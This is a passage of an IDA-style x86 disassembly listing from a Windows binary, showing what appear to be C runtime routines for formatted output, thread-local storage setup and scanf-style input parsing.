loc_418E82:				; CODE XREF: sub_4189AC+4CEj
		sub	eax, [ebp+var_10]
		sar	eax, 1
		jmp	loc_418FFC
; ---------------------------------------------------------------------------


loc_418E8C:				; CODE XREF: sub_4189AC+2A2j
		test	eax, eax
		jnz	short loc_418E98
		mov	eax, off_432368
		mov	[ebp+var_10], eax


loc_418E98:				; CODE XREF: sub_4189AC+4E2j
		mov	eax, [ebp+var_10]
		jmp	short loc_418EA4
; ---------------------------------------------------------------------------


loc_418E9D:				; CODE XREF: sub_4189AC+4FAj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_418EA8
		inc	eax


loc_418EA4:				; CODE XREF: sub_4189AC+4EFj
		test	ecx, ecx
		jnz	short loc_418E9D


loc_418EA8:				; CODE XREF: sub_4189AC+4F5j
		sub	eax, [ebp+var_10]
		jmp	loc_418FFC
; ---------------------------------------------------------------------------


loc_418EB0:				; CODE XREF: sub_4189AC+4A4j
		mov	[ebp+var_C], 8


loc_418EB7:				; CODE XREF: sub_4189AC+256j
		mov	[ebp+var_30], ecx


loc_418EBA:				; CODE XREF: sub_4189AC+4C7j
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 10h
		jz	loc_418CF6
		mov	al, byte ptr [ebp+var_30]
		add	al, 51h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_1B], al
		mov	[ebp+var_20], 2
		jmp	loc_418CF6
; ---------------------------------------------------------------------------


loc_418EE3:				; CODE XREF: sub_4189AC+49Dj
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 8
		jz	loc_418CF6
		or	byte ptr [ebp+var_8+1],	2
		jmp	loc_418CF6
; ---------------------------------------------------------------------------


loc_418EFD:				; CODE XREF: sub_4189AC+496j
		add	[ebp+arg_8], 4
		test	byte ptr [ebp+var_8], 20h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		jz	short loc_418F16
		mov	cx, word ptr [ebp+var_18]
		mov	[eax], cx
		jmp	short loc_418F1B
; ---------------------------------------------------------------------------


loc_418F16:				; CODE XREF: sub_4189AC+55Fj
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx


loc_418F1B:				; CODE XREF: sub_4189AC+568j
		mov	[ebp+var_34], 1
		jmp	loc_4190EE
; ---------------------------------------------------------------------------


loc_418F27:				; CODE XREF: sub_4189AC+354j
		add	[ebp+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+arg_8]
		jz	short loc_418F45
		test	bl, 40h
		jz	short loc_418F3F
		movsx	eax, word ptr [eax-4]


loc_418F3C:				; CODE XREF: sub_4189AC+597j
					; sub_4189AC+59Fj
		cdq
		jmp	short loc_418F4F
; ---------------------------------------------------------------------------


loc_418F3F:				; CODE XREF: sub_4189AC+58Aj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_418F3C
; ---------------------------------------------------------------------------


loc_418F45:				; CODE XREF: sub_4189AC+585j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_418F3C
		xor	edx, edx


loc_418F4F:				; CODE XREF: sub_4189AC+368j
					; sub_4189AC+591j
		test	bl, 40h
		jz	short loc_418F69
		test	edx, edx
		jg	short loc_418F69
		jl	short loc_418F5E
		test	eax, eax
		jnb	short loc_418F69


loc_418F5E:				; CODE XREF: sub_4189AC+5ACj
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+var_8+1],	1


loc_418F69:				; CODE XREF: sub_4189AC+5A6j
					; sub_4189AC+5AAj ...
		test	[ebp+var_8], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_418F74
		xor	edi, edi


loc_418F74:				; CODE XREF: sub_4189AC+5C4j
		cmp	[ebp+var_C], 0
		jge	short loc_418F83
		mov	[ebp+var_C], 1
		jmp	short loc_418F94
; ---------------------------------------------------------------------------


loc_418F83:				; CODE XREF: sub_4189AC+5CCj
		and	[ebp+var_8], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_418F94
		mov	[ebp+var_C], eax


loc_418F94:				; CODE XREF: sub_4189AC+5D5j
					; sub_4189AC+5E3j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_418F9E
		and	[ebp+var_20], 0


loc_418F9E:				; CODE XREF: sub_4189AC+5ECj
		lea	esi, [ebp+var_55]


loc_418FA1:				; CODE XREF: sub_4189AC+627j
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jg	short loc_418FB1
		mov	eax, ebx
		or	eax, edi
		jz	short loc_418FD5


loc_418FB1:				; CODE XREF: sub_4189AC+5FDj
		mov	eax, [ebp+var_14]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_417280
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_40], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_418FD0
		add	ecx, [ebp+var_30]


loc_418FD0:				; CODE XREF: sub_4189AC+61Fj
		mov	[esi], cl
		dec	esi
		jmp	short loc_418FA1
; ---------------------------------------------------------------------------


loc_418FD5:				; CODE XREF: sub_4189AC+603j
		lea	eax, [ebp+var_55]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+var_8+1],	2
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], esi
		jz	short loc_418FFF
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418FF2
		test	eax, eax
		jnz	short loc_418FFF


loc_418FF2:				; CODE XREF: sub_4189AC+640j
		dec	[ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	30h
		inc	eax


loc_418FFC:				; CODE XREF: sub_4189AC+3B8j
					; sub_4189AC+3C1j ...
		mov	[ebp+var_14], eax


loc_418FFF:				; CODE XREF: sub_4189AC+270j
					; sub_4189AC+339j ...
		cmp	[ebp+var_34], 0
		jnz	loc_4190EE
		mov	ebx, [ebp+var_8]
		test	bl, 40h
		jz	short loc_419037
		test	bh, 1
		jz	short loc_41901C
		mov	[ebp+var_1C], 2Dh
		jmp	short loc_419030
; ---------------------------------------------------------------------------


loc_41901C:				; CODE XREF: sub_4189AC+668j
		test	bl, 1
		jz	short loc_419027
		mov	[ebp+var_1C], 2Bh
		jmp	short loc_419030
; ---------------------------------------------------------------------------


loc_419027:				; CODE XREF: sub_4189AC+673j
		test	bl, 2
		jz	short loc_419037
		mov	[ebp+var_1C], 20h


loc_419030:				; CODE XREF: sub_4189AC+66Ej
					; sub_4189AC+679j
		mov	[ebp+var_20], 1


loc_419037:				; CODE XREF: sub_4189AC+663j
					; sub_4189AC+67Ej
		mov	esi, [ebp+var_24]
		sub	esi, [ebp+var_20]
		sub	esi, [ebp+var_14]
		test	bl, 0Ch
		jnz	short loc_419056
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_418951
		add	esp, 0Ch


loc_419056:				; CODE XREF: sub_4189AC+697j
		push	[ebp+var_20]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_1C]
		call	sub_418975
		test	bl, 8
		pop	ecx
		jz	short loc_419081
		test	bl, 4
		jnz	short loc_419081
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+var_18]
		call	sub_418951
		add	esp, 0Ch


loc_419081:				; CODE XREF: sub_4189AC+6BFj
					; sub_4189AC+6C4j
		cmp	[ebp+var_28], 0
		jz	short loc_4190C8
		cmp	[ebp+var_14], 0
		jle	short loc_4190C8
		mov	eax, [ebp+var_14]
		mov	ebx, [ebp+var_10]
		mov	[ebp+var_40], eax


loc_419096:				; CODE XREF: sub_4189AC+718j
		dec	[ebp+var_40]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41E587
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_4190D7
		mov	edi, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_54]
		call	sub_418975
		cmp	[ebp+var_40], 0
		pop	ecx
		jnz	short loc_419096
		jmp	short loc_4190D7
; ---------------------------------------------------------------------------


loc_4190C8:				; CODE XREF: sub_4189AC+6D9j
					; sub_4189AC+6DFj
		push	[ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_418975
		pop	ecx


loc_4190D7:				; CODE XREF: sub_4189AC+702j
					; sub_4189AC+71Aj
		test	byte ptr [ebp+var_8], 4
		jz	short loc_4190EE
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_418951
		add	esp, 0Ch


loc_4190EE:				; CODE XREF: sub_4189AC+576j
					; sub_4189AC+657j ...
		cmp	[ebp+var_2C], 0
		jz	short loc_419101 ; default
		push	[ebp+var_2C]
		call	sub_416C97
		and	[ebp+var_2C], 0
		pop	ecx


loc_419101:				; CODE XREF: sub_4189AC+74j
					; sub_4189AC+99j ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_4189E1


loc_41910E:				; CODE XREF: sub_4189AC+40j
		pop	edi
		pop	esi


loc_419110:				; CODE XREF: sub_4189AC+29j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_4189AC	endp

; ---------------------------------------------------------------------------
off_419121	dd offset loc_418BAB	; DATA XREF: sub_4189AC+7Ar
		dd offset loc_418A2D	; jump table for switch	statement
		dd offset loc_418A4A
		dd offset loc_418A96
		dd offset loc_418AD1
		dd offset loc_418ADA
		dd offset loc_418B12
		dd offset loc_418BE4

; =============== S U B	R O U T	I N E =======================================



sub_419141	proc near		; CODE XREF: sub_4191D0:loc_4191E9p
					; sub_4191D0:loc_419236p
		call	sub_41A07D
		mov	eax, dword_432370
		cmp	eax, 0FFFFFFFFh
		jz	short locret_41915E
		push	eax
		call	dword_422170	; TlsFree
		or	dword_432370, 0FFFFFFFFh

locret_41915E:				; CODE XREF: sub_419141+Dj
		retn
sub_419141	endp


; =============== S U B	R O U T	I N E =======================================



sub_41915F	proc near		; CODE XREF: sub_41698Dp sub_41699Ap ...
		push	ebx
		push	esi
		call	dword_422004	; RtlGetLastWin32Error
		push	dword_432370
		mov	ebx, eax
		call	dword_422180	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4191C4
		push	88h
		push	1
		call	sub_41E5AE
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_4191BC
		push	esi
		push	dword_432370
		call	dword_42217C	; TlsSetValue
		test	eax, eax
		jz	short loc_4191BC
		mov	dword ptr [esi+54h], offset dword_432BE8
		mov	dword ptr [esi+14h], 1
		call	dword_422178	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_4191C4
; ---------------------------------------------------------------------------


loc_4191BC:				; CODE XREF: sub_41915F+2Ej
					; sub_41915F+3Fj
		push	10h
		call	sub_4185EA
		pop	ecx


loc_4191C4:				; CODE XREF: sub_41915F+1Aj
					; sub_41915F+5Bj
		push	ebx
		call	dword_422174	; RtlSetLastWin32Error
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_41915F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: .text:loc_41870Ep
		call	sub_41A034
		test	eax, eax
		jz	short loc_4191E9
		call	dword_422184	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_432370, eax
		jnz	short loc_4191F1


loc_4191E9:				; CODE XREF: sub_4191D0+7j
		call	sub_419141
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+17j
		push	esi
		push	88h
		push	1
		call	sub_41E5AE
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_419236
		push	esi
		push	dword_432370
		call	dword_42217C	; TlsSetValue
		test	eax, eax
		jz	short loc_419236
		mov	dword ptr [esi+54h], offset dword_432BE8
		mov	dword ptr [esi+14h], 1
		call	dword_422178	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419236:				; CODE XREF: sub_4191D0+34j
					; sub_4191D0+45j
		call	sub_419141
		xor	eax, eax
		pop	esi
		retn
sub_4191D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41923F	proc near		; CODE XREF: sub_419255+52p
					; sub_419255+1EFp ...
		dec	dword ptr [edx+4]
		js	short loc_41924D
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41924D:				; CODE XREF: sub_41923F+3j
		push	edx
		call	sub_41B136
		pop	ecx
		retn
sub_41923F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419255	proc near		; CODE XREF: sub_416AE4+2Ap

var_1D8		= word ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	1C8h
		push	offset stru_42BF18
		call	__SEH_prolog
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		and	[ebp+var_29], al
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax


loc_419283:				; CODE XREF: sub_419255+88j
					; sub_419255+A55j ...
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jz	loc_419CC2
		movzx	eax, al
		push	eax
		call	sub_41E6E2
		pop	ecx
		test	eax, eax
		jz	short loc_4192DF
		dec	[ebp+var_30]


loc_4192A1:				; CODE XREF: sub_419255+62j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		mov	esi, eax
		push	esi
		call	sub_41E6E2
		pop	ecx
		test	eax, eax
		jnz	short loc_4192A1
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4192C9
		push	[ebp+arg_0]
		push	esi
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_4192C9:				; CODE XREF: sub_419255+67j
					; sub_419255+86j
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	sub_41E6E2
		pop	ecx
		test	eax, eax
		jnz	short loc_4192C9
		jmp	short loc_419283
; ---------------------------------------------------------------------------


loc_4192DF:				; CODE XREF: sub_419255+47j
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	25h
		jnz	loc_419C3E
		xor	edi, edi
		mov	[ebp+var_38], edi
		and	[ebp+var_39], 0
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_48], edi
		and	[ebp+var_49], 0
		and	[ebp+var_4A], 0
		and	[ebp+var_4B], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_4D], 0
		and	[ebp+var_4E], 0
		mov	[ebp+var_4F], 1
		mov	[ebp+var_54], edi


loc_41931C:				; CODE XREF: sub_419255+186j
		inc	esi
		movzx	ebx, byte ptr [esi]
		movzx	eax, bl
		push	eax
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jz	short loc_41933D
		inc	[ebp+var_44]
		lea	eax, [edi+edi*4]
		lea	edi, [ebx+eax*2-30h]
		jmp	loc_4193D7
; ---------------------------------------------------------------------------


loc_41933D:				; CODE XREF: sub_419255+D7j
		cmp	ebx, 4Eh
		jg	short loc_4193B5
		jz	loc_4193D7
		cmp	ebx, 2Ah
		jz	short loc_4193B0
		cmp	ebx, 46h
		jz	loc_4193D7
		cmp	ebx, 49h
		jz	short loc_419365
		cmp	ebx, 4Ch
		jnz	short loc_4193C4
		inc	[ebp+var_4F]
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_419365:				; CODE XREF: sub_419255+104j
		mov	cl, [esi+1]
		cmp	cl, 36h
		jnz	short loc_419384
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_419384
		mov	esi, eax
		inc	[ebp+var_54]
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_419384:				; CODE XREF: sub_419255+116j
					; sub_419255+11Ej
		cmp	cl, 33h
		jnz	short loc_419395
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_419395
		mov	esi, eax
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_419395:				; CODE XREF: sub_419255+132j
					; sub_419255+13Aj
		cmp	cl, 64h
		jz	short loc_4193D7
		cmp	cl, 69h
		jz	short loc_4193D7
		cmp	cl, 6Fh
		jz	short loc_4193D7
		cmp	cl, 78h
		jz	short loc_4193D7
		cmp	cl, 58h
		jnz	short loc_4193C4
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_4193B0:				; CODE XREF: sub_419255+F6j
		inc	[ebp+var_4B]
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_4193B5:				; CODE XREF: sub_419255+EBj
		cmp	ebx, 68h
		jz	short loc_4193D1
		cmp	ebx, 6Ch
		jz	short loc_4193C9
		cmp	ebx, 77h
		jz	short loc_4193CC


loc_4193C4:				; CODE XREF: sub_419255+109j
					; sub_419255+157j
		inc	[ebp+var_4C]
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_4193C9:				; CODE XREF: sub_419255+168j
		inc	[ebp+var_4F]


loc_4193CC:				; CODE XREF: sub_419255+16Dj
		inc	[ebp+var_4E]
		jmp	short loc_4193D7
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_419255+163j
		dec	[ebp+var_4F]
		dec	[ebp+var_4E]


loc_4193D7:				; CODE XREF: sub_419255+E3j
					; sub_419255+EDj ...
		cmp	[ebp+var_4C], 0
		jz	loc_41931C
		mov	[ebp+var_48], edi
		mov	[ebp+arg_4], esi
		cmp	[ebp+var_4B], 0
		jnz	short loc_419401
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_60], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ebx, [eax-4]
		mov	[ebp+var_64], ebx
		jmp	short loc_419404
; ---------------------------------------------------------------------------


loc_419401:				; CODE XREF: sub_419255+196j
		mov	ebx, [ebp+var_64]


loc_419404:				; CODE XREF: sub_419255+1AAj
		and	[ebp+var_4C], 0
		cmp	[ebp+var_4E], 0
		jnz	short loc_419422
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41941E
		cmp	al, 43h
		jz	short loc_41941E
		or	[ebp+var_4E], 0FFh
		jmp	short loc_419422
; ---------------------------------------------------------------------------


loc_41941E:				; CODE XREF: sub_419255+1BDj
					; sub_419255+1C1j
		mov	[ebp+var_4E], 1


loc_419422:				; CODE XREF: sub_419255+1B7j
					; sub_419255+1C7j
		movzx	edi, byte ptr [esi]
		or	edi, 20h
		mov	[ebp+var_68], edi
		cmp	edi, 6Eh
		jz	short loc_419459
		cmp	edi, 63h
		jz	loc_4194B9
		cmp	edi, 7Bh
		jz	short loc_4194B9


loc_41943E:				; CODE XREF: sub_419255+1FFj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		mov	esi, eax
		push	esi
		call	sub_41E6E2
		pop	ecx
		test	eax, eax
		jnz	short loc_41943E
		mov	[ebp+var_28], esi


loc_419459:				; CODE XREF: sub_419255+1D9j
		mov	esi, [ebp+arg_0]


loc_41945C:				; CODE XREF: sub_419255+274j
		mov	ecx, [ebp+var_44]
		test	ecx, ecx
		jz	short loc_41946D
		cmp	[ebp+var_48], 0
		jz	loc_4196C2


loc_41946D:				; CODE XREF: sub_419255+20Cj
		cmp	edi, 6Fh
		jg	loc_419691
		jz	loc_419A04
		cmp	edi, 63h
		jz	loc_419670
		cmp	edi, 64h
		jz	loc_419A04
		jle	loc_4196B7
		cmp	edi, 67h
		jle	short loc_4194E3
		cmp	edi, 69h
		jz	short loc_4194CB
		cmp	edi, 6Eh
		jnz	loc_4196B7
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_4B], 0
		jz	loc_419C16
		jmp	loc_419C36
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419255+1DEj
					; sub_419255+1E7j
		inc	[ebp+var_30]
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		call	sub_41923F
		mov	[ebp+var_28], eax
		jmp	short loc_41945C
; ---------------------------------------------------------------------------


loc_4194CB:				; CODE XREF: sub_419255+247j
		push	64h
		pop	edi


loc_4194CE:				; CODE XREF: sub_419255+457j
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	loc_4198FD
		mov	[ebp+var_4A], 1
		jmp	loc_419902
; ---------------------------------------------------------------------------


loc_4194E3:				; CODE XREF: sub_419255+242j
		lea	esi, [ebp+var_1C8]
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4194FF
		mov	[ebp+var_1C8], bl
		lea	esi, [ebp+var_1C7]
		jmp	short loc_419504
; ---------------------------------------------------------------------------


loc_4194FF:				; CODE XREF: sub_419255+29Aj
		cmp	ebx, 2Bh
		jnz	short loc_41951B


loc_419504:				; CODE XREF: sub_419255+2A8j
		dec	[ebp+var_48]
		inc	[ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	edx, edi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_41951E
; ---------------------------------------------------------------------------


loc_41951B:				; CODE XREF: sub_419255+2ADj
		mov	edi, [ebp+arg_0]


loc_41951E:				; CODE XREF: sub_419255+2C4j
		cmp	[ebp+var_44], 0
		jz	short loc_41952D
		cmp	[ebp+var_48], 15Dh
		jle	short loc_419555


loc_41952D:				; CODE XREF: sub_419255+2CDj
		mov	[ebp+var_48], 15Dh
		jmp	short loc_419555
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419255+309j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_419560
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_419555:				; CODE XREF: sub_419255+2D6j
					; sub_419255+2DFj
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jnz	short loc_419536


loc_419560:				; CODE XREF: sub_419255+2E9j
		cmp	byte_432C98, bl
		jnz	short loc_4195B2
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4195B2
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_41923F
		mov	ebx, eax
		mov	al, byte_432C98
		mov	[esi], al
		inc	esi
		jmp	short loc_4195A4
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_419255+35Bj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4195B2
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_41923F
		mov	ebx, eax


loc_4195A4:				; CODE XREF: sub_419255+331j
		push	ebx
		mov	[ebp+var_28], ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jnz	short loc_419588


loc_4195B2:				; CODE XREF: sub_419255+311j
					; sub_419255+31Bj ...
		cmp	[ebp+var_40], 0
		jz	short loc_419627
		cmp	ebx, 65h
		jz	short loc_4195C2
		cmp	ebx, 45h
		jnz	short loc_419627


loc_4195C2:				; CODE XREF: sub_419255+366j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_419627
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, 2Dh
		jnz	short loc_4195E9
		mov	[esi], al
		inc	esi
		jmp	short loc_4195EE
; ---------------------------------------------------------------------------


loc_4195E9:				; CODE XREF: sub_419255+38Dj
		cmp	ebx, 2Bh
		jnz	short loc_41961C


loc_4195EE:				; CODE XREF: sub_419255+392j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jnz	short loc_41960D
		and	[ebp+var_48], eax
		jmp	short loc_41961C
; ---------------------------------------------------------------------------


loc_4195FD:				; CODE XREF: sub_419255+3D0j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_419627
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi


loc_41960D:				; CODE XREF: sub_419255+3A1j
		mov	edx, edi
		inc	[ebp+var_30]
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_41961C:				; CODE XREF: sub_419255+397j
					; sub_419255+3A6j
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jnz	short loc_4195FD


loc_419627:				; CODE XREF: sub_419255+361j
					; sub_419255+36Bj ...
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419638
		push	edi
		push	ebx
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419638:				; CODE XREF: sub_419255+3D8j
		cmp	[ebp+var_40], 0
		jz	loc_419CC2
		cmp	[ebp+var_4B], 0
		jnz	loc_419C36
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C8]
		push	eax
		push	[ebp+var_64]
		movsx	eax, [ebp+var_4F]
		dec	eax
		push	eax
		call	off_432A30
		add	esp, 0Ch
		jmp	loc_419C36
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419255+22Aj
		test	ecx, ecx
		jnz	short loc_41967E
		mov	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_41967E:				; CODE XREF: sub_419255+41Dj
					; sub_419255+44Aj
		cmp	[ebp+var_4E], 0
		jle	loc_419809
		mov	[ebp+var_4D], 1
		jmp	loc_419809
; ---------------------------------------------------------------------------


loc_419691:				; CODE XREF: sub_419255+21Bj
		mov	eax, edi
		sub	eax, 70h
		jz	loc_419A00
		sub	eax, 3
		jz	short loc_41967E
		dec	eax
		dec	eax
		jz	loc_419A04
		sub	eax, 3
		jz	loc_4194CE
		sub	eax, 3
		jz	short loc_4196E3


loc_4196B7:				; CODE XREF: sub_419255+239j
					; sub_419255+24Cj
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, [ebp+var_28]
		jz	short loc_4196CB


loc_4196C2:				; CODE XREF: sub_419255+212j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jmp	loc_419C92
; ---------------------------------------------------------------------------


loc_4196CB:				; CODE XREF: sub_419255+46Bj
		dec	[ebp+var_29]
		cmp	[ebp+var_4B], 0
		jnz	loc_419C36
		mov	eax, [ebp+var_60]
		mov	[ebp+arg_8], eax
		jmp	loc_419C36
; ---------------------------------------------------------------------------


loc_4196E3:				; CODE XREF: sub_419255+460j
		cmp	[ebp+var_4E], 0
		jle	short loc_4196ED
		mov	[ebp+var_4D], 1


loc_4196ED:				; CODE XREF: sub_419255+492j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		mov	[ebp+var_1CC], edi
		cmp	byte ptr [edi],	5Eh
		jnz	short loc_41970A
		inc	edi
		mov	[ebp+var_1CC], edi
		or	[ebp+var_49], 0FFh


loc_41970A:				; CODE XREF: sub_419255+4A8j
		mov	ebx, [ebp+var_20]
		test	ebx, ebx
		jnz	short loc_419762
		and	[ebp+ms_exc.disabled], ebx
		push	20h
		pop	eax
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_419762
; ---------------------------------------------------------------------------


loc_41972A:				; DATA XREF: .text:stru_42BF18o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41972E:				; DATA XREF: .text:stru_42BF18o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		push	20h
		call	sub_416DAF
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_41974E
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_419CC2
; ---------------------------------------------------------------------------


loc_41974E:				; CODE XREF: sub_419255+4EEj
		mov	[ebp+var_24], 1
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
